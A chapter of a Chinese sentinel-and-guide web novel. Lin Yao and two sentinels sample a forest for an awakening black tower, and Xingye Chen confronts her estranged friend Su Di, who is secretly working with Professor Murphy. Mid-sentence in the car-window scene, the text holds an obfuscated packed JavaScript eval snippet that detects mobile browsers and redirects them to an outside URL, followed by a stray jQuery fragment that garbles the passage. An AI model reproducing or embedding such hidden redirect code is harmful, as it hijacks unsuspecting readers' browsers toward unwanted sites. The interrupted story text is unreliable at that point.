她需要人帮忙。
当她在脑海里想冬令营这帮人里哪些她可以信任,她第一个想到了丁彩,然后是丁炫……主要是丁彩,丁炫是附带的。
“为什么我是附带的!”丁炫很不满意。
林曜说:“丁彩的精神力比你稳定。”
丁彩眉头紧锁:“你刚刚说佩里昂会出现黑塔?”
丁炫肩膀撞了丁彩一下:“你最好相信她的话,她比我们看到的都要厉害。”
她对上次在N999号黑塔里的经历记忆犹新。
丁彩还懵着,问:“如果是真的,为什么不告诉谢教官?”
“谢迦南不相信我的话,”林曜冷笑,“另外,总教官已经换人了。再过两个小时,你们就能听到这个消息。”
丁炫和丁彩面面相觑。
林曜说:“我在这片丛林的局部发现了黑晶,目前还不确定这片丛林苏醒了多少。我需要你们帮我。”
“怎么帮?”丁炫直接问。
丁炫心里有点激动,比起捡那个破蘑菇,还是黑塔复活听起来更刺激嘛!她乐观地想,上次从黑塔里出来她精神力直接升了一级,这次要是再来个什么黑塔,她说不定还能再升一级,那她岂不是就成A级哨兵了!
丁彩犹豫着,心里有怀疑,但她对林曜有种莫名的信任感,她觉得那大概是因为她进过她的精神海。
没有再追问什么,她跟着丁炫问:“需要我做什么?”
林曜把做法简单告诉她们,三个人分头行动。
黑塔丛林的苏醒有它循序渐进的过程,一棵树的苏醒也是这样。一开始只是树木内芯里有了微微的异变,无人发觉,而后异变蔓延。当树木呈现出枯死的状态,树干上析出大颗黑晶,代表这棵树已经彻底坏死。
成片坏死的枯树连成遮天蔽日的丛林,树上的黑晶彼此作用,对精神力的影响无限放大,构成了每座黑塔外围最坚实的屏障。
白鸟盘旋在半空,白狐和红狐在林间飞奔。
佩里昂四周群山环绕,山连着山,丛林连着丛林,要想一一确认,再来三十个人也干不完,所以林曜告诉她们可以用抽样的办法。
如果一片区域内,有一定数量的树木呈现出黑晶感染的状态,就能够大致推断这一片黑塔丛林苏醒的情况。
这个办法她以前带队常用,对丁炫和丁彩算是超纲的知识点。
有些树木可以看到肉眼可见的黑晶,有些却不能,这时候就需要哨兵主动用精神力与它连接。
当然,不需要太费劲,只要轻轻试探一下。完全没有苏醒的树木对哨兵发起的精神力试探不会有任何反应,而已经苏醒的树木会回应哨兵的试探。
在这时,要迅速切断和树木的精神力连接,就像从玻璃上拔下一个橡胶吸盘,否则树木中苏醒的精神力会反过来侵蚀哨兵。
林曜和她们着重强调了动作要快。
上午,林曜的耳机里私聊频道传来丁炫激动的声音:“好消息,我发现了一棵苏醒的树,我断开和树的精神力连接的时候感觉脑子里‘啵儿’的一声!”
林曜百忙之中抽空表扬:“恭喜你,操作正确。”
丁彩那边一直静悄悄的,直到下午,林曜听到她冷不丁来了一句:“坏消息,到现在为止,我精神力连接过的每一棵树都苏醒了。”
三个人忙活了整整两天,第二天傍晚碰头一合计,目前大概有大半片山林已经出现了苏醒征兆。
这天佩里昂天气很好,夕阳西下,她们三个站在半山间俯瞰着整片山林,丁炫灵魂发问:“然后该怎么办呢?”
林曜没说话,丁彩说:“我今天遇到好几个哨兵,她们有点不对劲。”她停了一下,“就像我跟丁炫之前那样。”
“你们现在有两个选择,”林曜说,“要么趁黑塔还没出现,赶紧离开这里。”
“第二个选择是什么?”丁炫好奇地问。
“和我一起,成为我的队友,你们想要吗?”林曜说。
如果她们动作够快,也许可以在黑塔彻底浮现之前将它彻底掐死。
这天一大早,星野辰驱车前往夏港的向导分署。
这天夏港天气同样很好,天气预报预警的即将席卷全市的暴风雪毫无迹象,灿烂的冬日阳光下,白色圆形喷泉向四周泼洒着金色水花,帝国南部最大的向导分署的办公大楼就像一座雄伟气派的殿堂。
主体纯白的楼体搭配上淡金色的金边装饰,四根高大的廊柱支撑着双坡型的门廊顶盖,宽阔门廊下,铜色的苏珊娜徽章悬挂在大门正中,大门里人来来往往络绎不绝。
星野辰的二手越野车熄火停在路边,她坐在驾驶位,拿着一张大大的报纸挡住自己的脸。她停车的位置视野很好,车窗看去正好能看到向导分署大门进出的人员。
她盯前门,她的助手盯后门,今天从向导分署进出的每一个人都别想逃过她的眼睛。
她得到帝都那边的消息,向导署署长苏蒂确实有一段时间没露面了,一些重要的工作都是她的副手出席,而且,白塔确实派人来了夏港,这件事的内幕瞒得很严。
到底是不是她的老朋友苏蒂?让她来逮逮看吧。
临近中午,星野辰墨镜戴在头顶,吃着一块助理送来的三明治,就在这时一个穿着长风衣的人影走出大门。
那人脚步匆匆,出来后就戴上了一顶遮阳帽,然后走向地面停车场,随后一辆银灰色小车从车道驶出。
星野辰没想到今天运气这么好,当即开车跟上去。
那辆车挂着夏港本地的车牌,不紧不慢地在路上开着,看起来耐心十足,星野辰跟得恼火极了,但又不能超了她。
直到第三次路过同一个街区的同一家披萨店门口,星野辰郁闷了,她这是被遛了?
这个念头一出,对方突然加速,星野辰跟上去,驶离主城区,对方车速越来越快像是要甩掉她,笑话,她星野辰的开车技术也不是盖的。
城郊大道上,两辆车铆足劲儿要跟对方比个高低,引擎轰鸣,星野辰油门加满,却发现对方开始减速,她毫不犹豫超了过去,一个急停将对方逼停在路边。
星野辰拉开车门下去,扬手大力关上车门,走到对方车前盖前面一看,对天无语:“果然是你!”
苏蒂像不认识她一样,面无表情开始倒车。
“你给我停下!”星野辰疾言厉色。
银灰色小车退了几米才停下,星野辰走过去敲她的车窗。
车窗放下一半,苏蒂手扶着方向盘,不耐烦地皱着眉头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983023|189329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一只耳朵里还塞着蓝牙耳机。
星野辰问:“你来夏港做什么?向导署那摊子事还不够你忙的?”
“向导署的公务跟哨兵部有什么关系?”苏蒂从车窗里看她,冷若冰霜道,“你管不到我头上。”
星野辰当场气得说不出话。好,很好,她就知道她不能跟这人说话超过两句。
“佩里昂的事跟你有关系吗?”星野辰问。
“不知道你在说什么,我还有事,别在这里挡我的路。”
苏蒂说着就要把车窗升上去,升到一半停住,一只青筋毕露的手从外面抓住玻璃。
星野辰说:“我最后再问你一句,你来夏港是做什么的?”
苏蒂笑容里几分讽刺:“这么多年了,你还是天真得可笑。我有我要做的事,你从我这里得不到任何你想要的答案。这个回答可以吗?”
星野辰说:“就算这里重新变成十年前那样你也无所谓?”
苏蒂直视前方:“我只听从白塔的指令。”
“你现在太让我恶心了,”抓住车窗玻璃的手松开了,星野辰后退,“我这辈子最后悔的事就是认识你。”
苏蒂坐在车里,面不改色:“这句话我听烦了,如果你每次见到我都要说一遍,那我们最好不要再单独见面。”
车窗彻底闭合,苏蒂开车离开。
公路旁边是一条河,冬日河岸萧索荒芜,车停在路旁,星野辰独自一个人站在河岸上吹风。
苏蒂那两句话把她骂清醒了,她到底对她还有什么幻想?十年时间难道还不够她认清她是什么人?
八年前,她们决裂那一次已经什么话都说过了。遇到这事,她下意识的反应竟然还是她会和她在一边!是,是她天真,是她幼稚得彻底,是她时至今日还在幻想着她至少还能保存着一丝少年时理想的火苗。
是她大错特错。
她曾经认识的苏蒂已经彻底被白塔吃掉了。
星野辰捡起一颗石头狠狠砸向流动的河水,一只暂时停驻在河道旁的白鸟惊飞起。
黑塔的预言是她心头沉重的石头,如果黑塔的预言是真的,如果佩里昂真的会出现黑塔,那黑塔所需的暴乱精神力从何而来?
没有凭空产生的黑塔,佩里昂这个从来没有出现过黑塔的小镇,为什么会凝聚起一股足以产生黑塔的不可控精神力?
突然,她的脑海像是有一道闪电划过。
哨兵冬令营!
离开的银灰色小车里,苏蒂看向后视镜,星野辰的身影被彻底甩开,她的耳机里传来墨菲教授的叹息声:“你又何必把话说得那么难听。”
苏蒂冷静地开车:“星野辰没那么脆弱,我和她之间更难听的话都吵过。”
墨菲教授说:“可能是我老了,光是听到你们吵架的话我都心脏紧张。”
“要记得按时体检,教授,”苏蒂一路上平稳驾驶,“这难道不是我们一早就安排好的计划?你现在说这样的话没有任何意义。”
“是,是我们的计划,但我没想到你能做得这么好,”墨菲教授又叹了口气,“也罢,佩里昂的事情要尽快了,你不能离开帝都太久。”
苏蒂回答:“已经安排好了,明天早上所有人都会知道佩里昂黑塔的预言。”